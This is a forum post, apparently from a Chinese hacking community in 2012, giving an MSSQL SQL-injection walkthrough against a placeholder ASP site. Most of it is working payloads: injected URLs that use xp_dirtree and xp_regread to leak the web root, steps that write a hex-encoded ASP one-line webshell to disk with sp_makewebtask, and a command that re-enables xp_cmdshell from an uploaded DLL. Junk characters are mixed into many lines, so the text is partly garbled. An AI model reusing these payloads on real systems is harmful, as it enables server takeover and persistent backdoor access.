找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2145|回复: 0
打印 上一主题 下一主题

MSsqlL注入取得网站路径最好的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:20:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好,我们exec master..xp_dirtree'd:/test'
# ?+ O5 i9 b" A" G3 u假设我们在test里有两个文件夹test1和test2在test1里又有test3
0 l* ^6 B: f% A: i* N结果显示) _0 n9 E0 d2 }8 R: E1 j
, W! j2 g5 t; C1 C3 M
subdirectory depth- ?. Y% j9 y- N4 i: v- E3 e
test1 1
% u5 {6 f! ?+ b& etest3 2
, o. j1 f, P; h8 Z3 U; K% b& itest2 1, X- h  j$ U) v% t& m! m  N5 Q

: \* H  p& X" {1 x. O3 w哈哈发现没有那个depth就是目录的级数
2 d$ {# ]1 f9 n/ }8 f( d% fok了,知道怎么办了吧3 c* b; v" |/ ~( \2 _4 C2 l

/ f, I. x& l* b  ?& n0 chttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
0 ?$ _( F% E- ~" [http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- ( i8 Q% f+ S7 z6 C% {7 D
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-9 x- x, ]; g2 q" z) q; s0 d3 q
2 o( L* W( L( ?/ Z& c
只要加上id=1,就是第一级目录 。
. x8 `- i- o' K0 O1 F
7 P& T9 r5 u' k; P2 m9 Y9 x: h8 Q$ J% t7 {0 u! P! E
通过注册表读网站路径:" \) j- c0 O0 y) h/ c' e

! S0 B% B. M+ m6 d) i1.;create table [dbo].[cyfd] ([gyfd][char](255));6 v* I5 c3 w. l
  i0 Q; w0 X/ T9 v% R. p
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
& o' _5 L% `. uid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
; B* O  s$ q/ T8 d0 p6 f4 b' n4 D- [$ i% X9 s
3.and 1=(select count(*) from 临时表 where 临时字段名>1)) m8 C7 H' j) O8 f6 I% i: d
and 1=(select count(*) from cyfd where gyfd > 1) 9 I+ }9 N0 Y- N) R4 @7 {
这样IE报错,就把刚才插进去的Web路径的值报出来了
. m% g- |; o2 |6 W/ h) L  W
( x* q3 K$ A, A+ V: U! {4.drop table cyfd;-- 删除临时表
* I' E& `& ]2 D& R; x5 k4 y( B( p$ f1 _* p, |
获得webshell方法:
, f) s" c- r3 E, W5 A3 T/ ~1.create table cmd (a image)-- \**cmd是创建的临时表! N- W7 }4 p  u5 V! J2 |4 Y
0 r9 m0 r/ \( K
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
. ^7 Y/ m4 t& V8 G% n3 u$ u
( ^9 |; Y" F. D1 M4 e  S+ P# T( h" e
6 L0 n1 d0 I/ k4 `# U, a+ b3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
3 R4 v" a, v: i2 z8 EEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
! H# ~) ]! U: I3 h) z6 M9 }0 B+ o" c3 G' ~7 w, V* ~  O
4.drop table cmd;-- 删除cmd临时表- ?  E( w- ?$ R- ?9 O

0 _4 |5 Q$ m  g, X4 b+ {1 p恢复xp_cmdshell方法之一:
& `0 `- W1 E7 a" x, ]我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:" \9 ^  D: W, a& I6 H8 m
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'+ x% l1 ~3 m  T9 a
恢复,支持绝对路径的恢复哦。:)" ~: U  }3 T# _& n; r) ^* M: J& g+ z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表